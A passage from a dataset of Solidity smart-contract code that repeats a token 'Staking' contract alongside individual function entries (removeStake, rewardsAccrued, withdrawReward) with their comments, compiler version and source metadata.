removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
removeStake
|
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
|
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
3869,
4851
]
}
| 55,498 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
rewardsAccrued
|
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
|
/**
* returns the amount of rewards a user as accrued.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
4939,
5215
]
}
| 55,499 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
stakeLockMultiplier = 2;
_setupRole(DEFAULT_ADMIN_ROLE, defaultAdmin);
}
//-------Set Token Address----------------
function setAddress(TokenInterface _token) public {
require(hasRole(_ADMIN, msg.sender));
fundamenta = _token;
}
//-------Modifiers--------------------------
modifier pause() {
require(!paused, "TokenStaking: Contract is Paused");
_;
}
modifier stakeToggle() {
require(!stakingOff, "TokenStaking: Staking is not currently active");
_;
}
modifier emergency() {
require(!emergencyWDoff, "TokenStaking: Emergency Withdraw is not enabled");
_;
}
//--------Staking Functions-------------------
/**
* allows a user to create a staking positon. Users will
*
* not be allowed to stake more than the `stakeCap` which is
*
* a settable variable by Admins/Contrcats with the `_STAKING`
*
* Role.
*/
function createStake(uint _stake) public pause stakeToggle {
require(rewardsAccrued() == 0);
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(_stake);
fundamenta.burnFrom(msg.sender, _stake);
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit StakeCreated(msg.sender, _stake, block.number);
}
/**
* removes a users staked positon if the required lock
*
* window is satisfied. Also pays out any `_rewardsAccrued` to
*
* the user if any rewards are pending.
*/
function removeStake(uint _stake) public pause {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
require(block.number >= lastWithdraw[msg.sender].add(unlockWindow), "TokenStaking: FMTA has not been staked for long enough");
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
uint totalAccrued;
if(stakes[msg.sender] == 0 && _stake != 0 ) {
revert("TokenStaking: You don't have any tokens staked");
}else if (stakes[msg.sender] != 0 && _stake != 0) {
totalAccrued = rewardsAccrued().add(_stake);
fundamenta.mintTo(msg.sender, totalAccrued);
stakes[msg.sender] = stakes[msg.sender].sub(_stake);
lastWithdraw[msg.sender] = block.number;
}
if (stakes[msg.sender] == 0) {
removeStakeholder(msg.sender);
}
emit StakeRemoved(msg.sender, _stake, totalAccrued, block.number);
}
/**
* returns the amount of rewards a user as accrued.
*/
function rewardsAccrued() public view returns (uint) {
uint multiplier = block.number.sub(lastWithdraw[msg.sender]).div(rewardsWindow);
uint _rewardsAccrued = calculateReward(msg.sender).mul(multiplier);
return _rewardsAccrued;
}
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
function compoundRewards() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(stakes[msg.sender] == 0) addStakeholder(msg.sender);
stakes[msg.sender] = stakes[msg.sender].add(rewardsAccrued());
require(stakes[msg.sender] <= stakeCap, "TokenStaking: Can't Stake More than allowed moneybags");
lastWithdraw[msg.sender] = block.number;
emit rewardsCompunded(msg.sender, rewardsAccrued(), block.number);
}
/**
* allows user to withrdraw any pending rewards and
*
* staking position if `emergencyWDoff` is false enabling
*
* emergency withdraw situtaions when staking is off and
*
* the contract is paused. This will likely never be used.
*/
function emergencyWithdrawRewardAndStakes() public emergency {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
fundamenta.mintTo(msg.sender, rewardsAccrued().add(stakes[msg.sender]));
stakes[msg.sender] = stakes[msg.sender].sub(stakes[msg.sender]);
removeStakeholder(msg.sender);
}
/**
* returns a users `lastWithdraw` which is the last block
*
* height that the user last withdrew rewards.
*/
function lastWdHeight() public view returns (uint) {
return lastWithdraw[msg.sender];
}
/**
* returns to the user the amount of blocks that they must
*
* have their stake locked before they are able to unstake their
*
* positon.
*/
function stakeUnlockWindow() external view returns (uint) {
uint unlockWindow = rewardsWindow.mul(stakeLockMultiplier);
uint stakeWindow = lastWithdraw[msg.sender].add(unlockWindow);
return stakeWindow;
}
/**
* allows admin with the `_STAKING` role to set the
*
* `stakeMultiplier` which is used in the calculation that
*
* determines how long a user must have a staked positon
*
* before they are able to unstake said positon.
*/
function setStakeMultiplier(uint _newMultiplier) public pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeLockMultiplier = _newMultiplier;
}
/**
* returns a users staked position.
*/
function stakeOf (address _stakeholder) public view returns(uint) {
return stakes[_stakeholder];
}
/**
* returns the total amount of FMTA that has been
*
* placed in staking postions by users.
*/
function totalStakes() public view returns(uint) {
uint _totalStakes = 0;
for (uint s = 0; s < stakeholders.length; s += 1) {
_totalStakes = _totalStakes.add(stakes[stakeholders[s]]);
}
return _totalStakes;
}
/**
* returns if an account is a stakeholder and holds
*
* a staked position.
*/
function isStakeholder(address _address) public view returns(bool, uint) {
for (uint s = 0; s < stakeholders.length; s += 1) {
if (_address == stakeholders[s]) return (true, s);
}
return (false, 0);
}
/**
* internal function that adds accounts as stakeholders.
*/
function addStakeholder(address _stakeholder) internal pause stakeToggle {
(bool _isStakeholder, ) = isStakeholder(_stakeholder);
if(!_isStakeholder) stakeholders.push(_stakeholder);
}
/**
* internal function that removes accounts as stakeholders.
*/
function removeStakeholder(address _stakeholder) internal {
(bool _isStakeholder, uint s) = isStakeholder(_stakeholder);
if(_isStakeholder){
stakeholders[s] = stakeholders[stakeholders.length - 1];
stakeholders.pop();
}
}
function getStakeholders() public view returns (uint _numOfStakeholders){
return stakeholders.length;
}
function getByIndex(uint i) public view returns (address) {
return stakeholders[i];
}
/**
* returns an accounts total rewards paid over the
*
* Staking Contracts lifetime.
*/
function totalRewardsOf(address _stakeholder) external view returns(uint) {
return rewards[_stakeholder];
}
/**
* returns the amount of total rewards paid to all
*
* accounts over the Staking Contracts lifetime.
*/
function totalRewardsPaid() external view returns(uint) {
uint _totalRewards = 0;
for (uint s = 0; s < stakeholders.length; s += 1){
_totalRewards = _totalRewards.add(rewards[stakeholders[s]]);
}
return _totalRewards;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCalc` which is the divisor used
*
* in `calculateReward` to determine the reward during each
*
* `rewardsWindow`.
*/
function setStakeCalc(uint _stakeCalc) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCalc = _stakeCalc;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeCap` which determines how many
*
* tokens total can be staked per account.
*/
function setStakeCap(uint _stakeCap) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
stakeCap = _stakeCap;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `stakeOff` bool to true ot false
*
* effecively turning staking on or off. The only function
*
* that is not effected is removng stake
*/
function stakeOff(bool _stakingOff) public {
require(hasRole(_STAKING, msg.sender));
stakingOff = _stakingOff;
}
/**
* allows admin with the `_STAKING` role to set the
*
* Staking Contracts `rewardsWindow` which determines how
*
* long a user must wait before they can with draw in the
*
* form of a number of blocks that must pass since the users
*
* `lastWithdraw`.
*/
function setRewardsWindow(uint _newWindow) external pause stakeToggle {
require(hasRole(_STAKING, msg.sender));
rewardsWindow = _newWindow;
}
/**
* simple function help track and calculate the rewards
*
* accrued between rewards windows. it uses `stakeCalc` which
*
* is settable by admins with the `_STAKING` role.
*/
function calculateReward(address _stakeholder) public view returns(uint) {
return stakes[_stakeholder] / stakeCalc;
}
/**
* turns on the emergencyWD function which is used for
*
* when the staking contract is paused or stopped for some
*
* unforseeable reason and we still need to let users withdraw.
*/
function setEmergencyWDoff(bool _emergencyWD) external {
require(hasRole(_ADMIN, msg.sender));
emergencyWDoff = _emergencyWD;
}
//----------Pause----------------------
/**
* pauses the Smart Contract.
*/
function setPaused(bool _paused) external {
require(hasRole(_ADMIN, msg.sender));
paused = _paused;
}
//----Emergency PEBCAK Functions-------
function mistakenERC20DepositRescue(address _ERC20, address _pebcak, uint _ERC20Amount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
IERC20(_ERC20).safeTransfer(_pebcak, _ERC20Amount);
emit TokensRescued (_pebcak, _ERC20, _ERC20Amount, block.number);
}
function mistakenDepositRescue(address payable _pebcak, uint _etherAmount) public {
require(hasRole(_RESCUE, msg.sender),"TokenStaking: Message Sender must be _RESCUE");
_pebcak.transfer(_etherAmount);
emit ETHRescued (_pebcak, _etherAmount, block.number);
}
}
|
withdrawReward
|
function withdrawReward() public pause stakeToggle {
rewards[msg.sender] = rewards[msg.sender].add(rewardsAccrued());
if(lastWithdraw[msg.sender] == 0) {
revert("TokenStaking: You cannot withdraw if you hve never staked");
} else if (lastWithdraw[msg.sender] != 0){
require(block.number > lastWithdraw[msg.sender].add(rewardsWindow), "TokenStaking: It hasn't been enough time since your last withdrawl");
fundamenta.mintTo(msg.sender, rewardsAccrued());
lastWithdraw[msg.sender] = block.number;
emit RewardsWithdrawn(msg.sender, rewardsAccrued(), block.number);
}
}
|
/**
* @dev allows user to withrdraw any pending rewards as
*
* long as the `rewardsWindow` is satisfied.
*/
|
NatSpecMultiLine
|
v0.8.1+commit.df193b15
|
GNU GPLv3
|
ipfs://a400f785fd7c0efa8dfe609a1e481e29e3cbb3465535f4b1ccb79ea207a9d2c5
|
{
"func_code_index": [
5367,
6042
]
}
| 55,500 |
||
Staking
|
contracts/Staking.sol
|
0x11fe61999d17cc5db98cae0de6401b35268d2ced
|
Solidity
|
Staking
|
contract Staking is AccessControl {
using SafeMath for uint256;
using SafeERC20 for IERC20;
TokenInterface private fundamenta;
/**
* Smart Contract uses Role Based Access Control to
*
* alllow for secure access as well as enabling the ability
*
* for other contracts such as oracles to interact with ifundamenta.
*/
//-------RBAC---------------------------
bytes32 public constant _STAKING = keccak256("_STAKING");
bytes32 public constant _RESCUE = keccak256("_RESCUE");
bytes32 public constant _ADMIN = keccak256("_ADMIN");
//-------Staking Vars-------------------
uint public stakeCalc;
uint public stakeCap;
uint public rewardsWindow;
uint public stakeLockMultiplier;
bool public stakingOff;
bool public paused;
bool public emergencyWDoff;
address private defaultAdmin = 0x82Ab0c69b6548e6Fd61365FeCc3256BcF70dc448;
//--------Staking mapping/Arrays----------
address[] internal stakeholders;
mapping(address => uint) internal stakes;
mapping(address => uint) internal rewards;
mapping(address => uint) internal lastWithdraw;
//----------Events----------------------
event StakeCreated(address _stakeholder, uint _stakes, uint _blockHeight);
event rewardsCompunded(address _stakeholder, uint _rewardsAdded, uint _blockHeight);
event StakeRemoved(address _stakeholder, uint _stakes, uint rewards, uint _blockHeight);
event RewardsWithdrawn(address _stakeholder, uint _rewards, uint blockHeight);
event TokensRescued (address _pebcak, address _ERC20, uint _ERC20Amount, uint _blockHeightRescued);
event ETHRescued (address _pebcak, uint _ETHAmount, uint _blockHeightRescued);
//-------Constructor----------------------
constructor(){
stakingOff = true;
emergencyWDoff = true;
stakeCalc = 500;
stakeCap = 3e22;
rewardsWindow = 6500;
